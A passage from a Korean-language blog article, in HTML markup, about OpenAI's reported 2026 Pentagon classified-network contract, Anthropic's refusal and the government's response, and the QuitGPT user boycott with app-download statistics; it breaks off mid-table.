&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;계약의 구체적 내용&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 공개한 계약 내용에 따르면, 이번 계약의 핵심은 OpenAI의 AI 모델을 Pentagon의 기밀 클라우드 네트워크에 배포하는 것이다. 이 네트워크는 미군이 최고 수준의 정보 분석, 무기 개발, 전장 작전에 사용하는 시스템으로, 지금까지는 Anthropic의 Claude만이 유일하게 접근 가능했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Fortune 보도에 따르면 이 계약의 규모는 약 2억 달러(약 2,900억 원) 수준으로 알려졌다. OpenAI로서는 단순한 매출 이상의 의미를 가진다. 미 국방부와의 계약은 신뢰성과 보안 인증의 상징이기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI는 자체적으로 '레드라인(red lines)'을 설정했다고 주장했다. 공식 블로그 &quot;Our agreement with the Department of War&quot;에 공개된 계약 문구는 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;Contract Red Lines (OpenAI 공개 문서 발췌):

1. &quot;The AI system shall not be intentionally used for domestic
    surveillance of U.S. persons and nationals.&quot;
    (미국 시민 및 국민에 대한 국내 감시를 의도적으로
     사용하지 않는다)

2. &quot;The AI System will not be used to independently direct
    autonomous weapons in any case where law, regulation,
    or Department policy requires human control.&quot;
    (법률, 규정 또는 부서 정책이 인간 통제를 요구하는
     경우 자율 무기를 독립적으로 지시하는 데 사용하지
     않는다)

3. &quot;Any use of AI in autonomous and semi-autonomous systems
    must undergo rigorous verification, validation, and testing
    to ensure they perform as intended in realistic environments
    before deployment.&quot;
    (자율 및 반자율 시스템에서의 AI 사용은 배포 전
     현실적 환경에서 의도한 대로 작동하는지 엄격한
     검증, 확인 및 테스트를 거쳐야 한다)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://openai.com/index/our-agreement-with-the-department-of-war/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; Our agreement with the Department of War | OpenAI&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;얼핏 보면 합리적인 안전장치처럼 보인다. 그러나 이 문구에 대해 법률 전문가들은 심각한 우려를 표명했다. 핵심적인 문제점은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;법률 전문가들이 지적한 핵심 허점&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 자체 정책 변경 가능성&lt;/b&gt;: &quot;법률, 규정, 또는 부서 정책이 인간 통제를 요구하는 경우&quot;라는 조건은, 국방부가 자체 정책을 언제든 바꿀 수 있다는 뜻이다. Institute for Law &amp;amp; AI의 선임 연구원은 &quot;국방부는 자체 정책을 원할 때 언제든 변경할 수 있고, 이 계약 문구는 기존 정책을 영구적으로 따르도록 요구하지 않는다&quot;고 지적했다. 즉, 오늘의 안전장치가 내일은 사라질 수 있다는 뜻이다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. &quot;모든 합법적 목적&quot; 조항&lt;/b&gt;: 계약은 Pentagon이 OpenAI 기술을 &quot;모든 합법적 목적(all lawful purposes)&quot;에 사용할 수 있도록 허용한다. 이는 Anthropic이 거부한 바로 그 조건이다. 현행 미국법상, 외국인 대상 정보 수집과 전시 상황에서의 무기 사용은 대부분 합법이므로, 이 조건은 사실상 거의 모든 군사적 사용을 포괄한다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 감시 정의의 모호성&lt;/b&gt;: &quot;의도적(intentionally)&quot;이라는 단어가 포함되어 있어, 비의도적 감시나 부수적 데이터 수집은 제한되지 않을 수 있다. 군사 작전 과정에서 '부수적으로' 수집되는 미국 시민 데이터는 이 조항의 적용을 받지 않을 가능성이 있다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;4. 집행 메커니즘의 부재&lt;/b&gt;: 계약이 체결된 후, OpenAI가 실제 사용 현장에서 군의 사용 방식을 감독하거나 제한할 수 있는 실질적인 메커니즘이 없다. 기밀 시스템 내부에서 무슨 일이 일어나는지 OpenAI가 알 수 있는 방법이 제한적이다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.technologyreview.com/2026/03/02/1133850/openais-compromise-with-the-pentagon-is-what-anthropic-feared/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MIT Technology Review&lt;/a&gt;, &lt;a href=&quot;https://builtin.com/articles/openai-pentagon-deal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Built In&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI의 정책 변천사: 군사 금지에서 허용까지&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 계약을 이해하려면, OpenAI의 군사 관련 정책이 어떻게 변해왔는지 살펴볼 필요가 있다. OpenAI는 원래 군사적 사용을 명시적으로 금지하는 정책을 가지고 있었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 160px;&quot;&gt;시점&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;OpenAI의 군사 정책&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2015~2023&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;비영리 출발. 이용약관에 &quot;군사 및 전쟁(military and warfare)&quot; 목적 사용을 명시적으로 금지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2024년 1월&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;이용약관에서 &quot;military and warfare&quot; 금지 문구를 조용히 삭제. &quot;타인에게 해를 끼치는 용도&quot; 금지로 대체. Pentagon과의 비기밀(unclassified) 프로젝트 시작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2025년&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;미 국방부와의 비기밀 협력 확대. 사이버보안, 번역, 행정 업무 등에 AI 제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;2026년 2월&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;기밀 시스템 배포 계약 체결. 비기밀을 넘어 최고 수준 기밀 네트워크에 AI 모델 배포를 허용하는 전례 없는 단계&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 변천사를 보면, OpenAI의 군사 정책이 점진적으로 완화되어 왔음을 알 수 있다. 2015년 &quot;인류에 이로운 AI&quot;를 표방하며 출발한 조직이, 11년 만에 기밀 군사 시스템에 AI를 배포하는 계약을 맺은 것이다. 비판자들은 이를 &quot;미끄러운 경사면(slippery slope)&quot;의 전형적인 사례라고 지적한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 'Department of War'인가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;글을 읽다 보면 'Department of War(전쟁부)'라는 이름이 낯설 수 있다. 이는 트럼프 행정부가 국방부(Department of Defense)의 이름을 1947년 이전에 사용하던 원래 이름으로 되돌린 것이다. 1947년 국가안보법(National Security Act)에 의해 'Department of War'에서 'Department of Defense'로 개칭되었는데, 트럼프 행정부가 이를 원래 이름으로 환원한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI 자체 블로그 제목도 &quot;Our agreement with the Department of War&quot;로, 이 명칭을 그대로 사용하고 있다. 실질적인 조직 구조나 기능은 기존 국방부와 동일하다. 이 글에서는 가독성을 위해 'Pentagon' 또는 '국방부'라는 표현을 주로 사용한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 2: Anthropic의 거절 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Anthropic의 거절 -- 왜 Claude 회사는 거절했나&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic의 두 가지 레드라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 Pentagon과의 계약에서 두 가지 조건을 절대 양보할 수 없는 '레드라인'으로 설정했다. 이 두 가지는 Anthropic이 창립 이래 자사의 핵심 가치로 내세워 온 AI 안전 원칙의 연장선에 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 200px;&quot;&gt;레드라인&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Anthropic의 입장&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Pentagon의 요구&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;완전 자율 무기 금지&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI가 인간 승인 없이 치명적 무력을 독자적으로 결정해서는 안 된다&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&quot;모든 합법적 목적&quot;에 사용 가능해야 한다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; font-weight: 600;&quot;&gt;대규모 국내 감시 금지&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사법부 영장 없이 미국 시민을 대규모로 감시하는 데 사용해서는 안 된다&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사용 목적에 제한을 두지 않아야 한다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic CEO Dario Amodei는 2026년 2월 26일 CNBC 인터뷰에서 이렇게 말했다. &quot;Pentagon의 위협이 우리의 입장을 바꾸지는 않는다 (do not change our position).&quot;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 CBS News와의 독점 인터뷰에서도 Amodei는 AI의 &quot;레드라인&quot;을 지키겠다는 의지를 재확인했다. 그는 Pentagon과의 충돌에도 불구하고 자신의 입장을 굽히지 않겠다고 분명히 했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 포인트&lt;/b&gt; &lt;br /&gt;Anthropic은 군사 계약 자체를 거부한 것이 아니다. 실제로 이전부터 Pentagon의 기밀 시스템에 Claude를 제공해왔다. 쟁점은 '사용 범위의 제한'이었다. &quot;모든 합법적 목적&quot;이라는 포괄적 사용권을 부여하면, 사실상 안전장치가 무력화된다는 것이 Anthropic의 판단이었다. 다시 말해, Anthropic은 &quot;군에 AI를 제공하지 않겠다&quot;가 아니라 &quot;제한 없이 제공하지는 않겠다&quot;는 입장이었다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기존 Anthropic-Pentagon 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건을 정확히 이해하려면, Anthropic이 이전부터 Pentagon과 어떤 관계를 맺고 있었는지 알 필요가 있다. Anthropic의 Claude는 Pentagon의 기밀 시스템에서 사용 가능한 유일한 상용 AI 모델이었다. Fortune 보도에 따르면, Pentagon 관리 Emil Michael은 Anthropic이 얼마나 &quot;필수불가결(indispensable)&quot;한 존재였는지를 깨달았다는 반응을 보였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;즉, Anthropic은 Pentagon에서 가장 신뢰받는 AI 파트너였다. 그런 Anthropic이 &quot;이 조건은 안 된다&quot;고 말했을 때, Pentagon이 협상 대신 퇴출을 선택한 것은 많은 관찰자들에게 충격이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Pentagon의 보복 조치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 조건을 양보하지 않자, 미국 정부의 대응은 신속하고 강경했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫째&lt;/b&gt;, 트럼프 대통령이 연방 기관에 Anthropic 제품 사용을 중단하도록 지시했다. 6개월의 전환 기간이 부여되었다. 이는 단순히 군사 분야뿐 아니라, 모든 연방 기관에서의 Anthropic 제품 사용을 중단시키는 조치였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;둘째&lt;/b&gt;, 국방장관 Pete Hegseth가 Anthropic을 &lt;b&gt;'공급망 위험(supply-chain risk)'&lt;/b&gt;으로 공식 지정했다. 이 지정의 파급력은 정부 기관을 넘어선다. 군 계약업체(defense contractors)들도 Anthropic 제품을 사용할 수 없게 되기 때문이다. CNBC 보도에 따르면, 방산 업체들이 잇달아 Claude 사용을 중단했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;셋째&lt;/b&gt;, 이 조치는 사실상 Anthropic을 미국 국가안보 생태계 전체에서 배제하겠다는 선언이나 다름없었다. 군사 AI 시장만이 아니라, 정부 관련 계약 전체에 영향을 미치는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;많은 관찰자들은 이 조치를 &quot;윤리적 입장을 고수한 기업에 대한 정부의 보복&quot;으로 해석했다. 이것이 사용자 반발의 또 다른 원인이 되었다. 사람들이 분노한 것은 OpenAI의 계약 체결 자체보다도, &quot;원칙을 지킨 기업이 처벌받고, 기회주의적으로 행동한 기업이 보상받는&quot; 구도 때문이었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.cnbc.com/2026/02/26/anthropic-pentagon-ai-amodei.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC&lt;/a&gt;, &lt;a href=&quot;https://www.cnbc.com/2026/03/04/pentagon-blacklist-anthropic-defense-tech-claude.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC - 방산 업체 Claude 중단&lt;/a&gt;, &lt;a href=&quot;https://www.axios.com/2026/02/27/pentagon-openai-safety-red-lines-anthropic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Axios&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Dario Amodei의 대응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic CEO Dario Amodei는 이후에도 물러서지 않았다. TechCrunch 보도에 따르면 Amodei는 OpenAI의 계약 관련 메시징을 &lt;b&gt;&quot;straight up lies(노골적인 거짓말)&quot;&lt;/b&gt;이자 &lt;b&gt;&quot;safety theater(안전 쇼)&quot;&lt;/b&gt;라고 비판했다. 그는 OpenAI가 내세운 레드라인이 실질적인 보호 장치가 되지 못한다고 주장했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Amodei의 비판 논리는 명확했다. OpenAI의 레드라인이 국방부의 '부서 정책'에 의존하고 있는데, 부서 정책은 의회 승인 없이 행정부가 언제든 변경할 수 있으므로, 이는 실질적인 안전장치가 아니라 대외적 이미지 관리에 가깝다는 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;동시에 Amodei는 Pentagon의 '공급망 위험' 지정에 대해 법적 대응을 예고했다. The Hill 보도에 따르면, &quot;우리에게는 선택의 여지가 없다(no choice)&quot;며, 이 지정이 부당하다는 점을 법정에서 다투겠다고 밝혔다. The Defense Post는 Anthropic이 법적 소송을 준비하고 있다고 보도했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한편, Financial Times와 Bloomberg 보도에 따르면, OpenAI가 계약을 체결한 이후에도 Amodei는 Pentagon 관리 Emil Michael과의 재협상을 시도한 것으로 알려졌다. TechCrunch도 3월 5일, Amodei가 여전히 Pentagon과의 합의를 모색하고 있을 수 있다고 보도했다. Anthropic 입장에서는 원칙을 지키면서도 완전히 배제당하는 것은 피하고 싶었을 것이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고&lt;/b&gt; &lt;br /&gt;Amodei의 &quot;straight up lies&quot; 발언은 내부 메모가 유출되면서 보도된 것이다. Amodei는 이후 트럼프 행정부를 비판하는 내용이 포함된 유출 메모에 대해 사과했다 (Axios, 3월 6일). 그러나 안전장치에 대한 기본 입장은 철회하지 않았다. 또한 White House가 Pentagon-Anthropic 화해 가능성에 의문을 표시했다는 보도도 있었다 (Axios, 3월 4일).&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://techcrunch.com/2026/03/04/anthropic-ceo-dario-amodei-calls-openais-messaging-around-military-deal-straight-up-lies-report-says/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch&lt;/a&gt;, &lt;a href=&quot;https://thehill.com/policy/technology/5770720-anthropic-ceo-fights-pentagon-designation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Hill&lt;/a&gt;, &lt;a href=&quot;https://www.axios.com/2026/03/06/pentagon-anthropic-amodei-apology&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Axios&lt;/a&gt;, &lt;a href=&quot;https://thedefensepost.com/2026/03/07/anthropic-pentagon-contract-dispute/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Defense Post&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 3: QuitGPT 운동 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. QuitGPT 운동 -- 150만 명은 왜 움직였나&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;운동의 시작과 확산&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;QuitGPT 운동은 Pentagon 계약 발표 이전부터 서서히 형성되고 있었다. MIT Technology Review에 따르면 (2월 10일 보도), 2026년 1월 말부터 QuitGPT 연합은 여러 불만을 중심으로 조직화되고 있었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;초기 불만 요인은 다음과 같았다.&lt;/p&gt;
&lt;ul style=&quot;margin: 15px 0; padding-left: 25px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;미국 이민세관집행국(ICE)이 ChatGPT 기반 이력서 심사 도구를 사용한다는 사실이 알려짐&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;GPT-5.2의 성능 저하에 대한 사용자 불만 누적. &quot;이전 버전보다 못해졌다&quot;는 불만이 커뮤니티에서 반복적으로 제기됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;OpenAI 경영진의 정치 후원금 논란&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이런 불만이 쌓여 있던 상태에서 Pentagon 계약이 터지자, quitgpt.org는 폭발적으로 성장했다. BusinessToday 보도(3월 4일)에 따르면 &lt;b&gt;첫 주에만 150만 명 이상이 구독 취소 서명, 소셜 미디어 공유, 또는 실제 구독 취소에 동참&lt;/b&gt;했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;NxCode 보도에 따르면, 이후 수치는 250만 명 이상으로 증가한 것으로 보고되었다. 이 수치에는 실제 구독 취소뿐 아니라 소셜 미디어 참여와 서명도 포함되어 있다는 점에 유의해야 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://www.technologyreview.com/2026/02/10/1132577/a-quitgpt-campaign-is-urging-people-to-cancel-chatgpt-subscriptions/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MIT Technology Review&lt;/a&gt;, &lt;a href=&quot;https://www.businesstoday.in/tech-today/news/story/openai-pentagon-deal-triggers-backlash-1-million-users-sign-up-to-quit-chatgpt-519120-2026-03-04&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;BusinessToday&lt;/a&gt;, &lt;a href=&quot;https://www.nxcode.io/resources/news/quitgpt-chatgpt-boycott-pentagon-alternatives-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;NxCode&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;수치로 보는 사용자 이탈&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시장조사 업체 Sensor Tower의 데이터는 사용자 반발의 규모를 선명하게 보여준다. TechCrunch가 보도한 Sensor Tower 데이터를 기반으로 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지표&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비교 기준&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;ChatGPT 앱 삭제율 (미국)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;295% 급증&lt;/b&gt;&lt;/span&gt; (전일 대비, 2월 28일)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;평상시 전일 대비 삭제율 약 9% (직전 30일 평균)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;ChatGPT 1점 리뷰&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;775% 급증&lt;/b&gt; (2월 28일)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;이튿날(3월 1일) 추가 100% 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;ChatGPT 미국 다운로드&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;13% 감소&lt;/b&gt; (전일 대비)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;2월 28일 기준&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Claude 앱 미국 다운로드&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;37% 증가&lt;/b&gt; (2월 27일), &lt;b&gt;51% 증가&lt;/b&gt; (2월 28일)&lt;/td&gt;
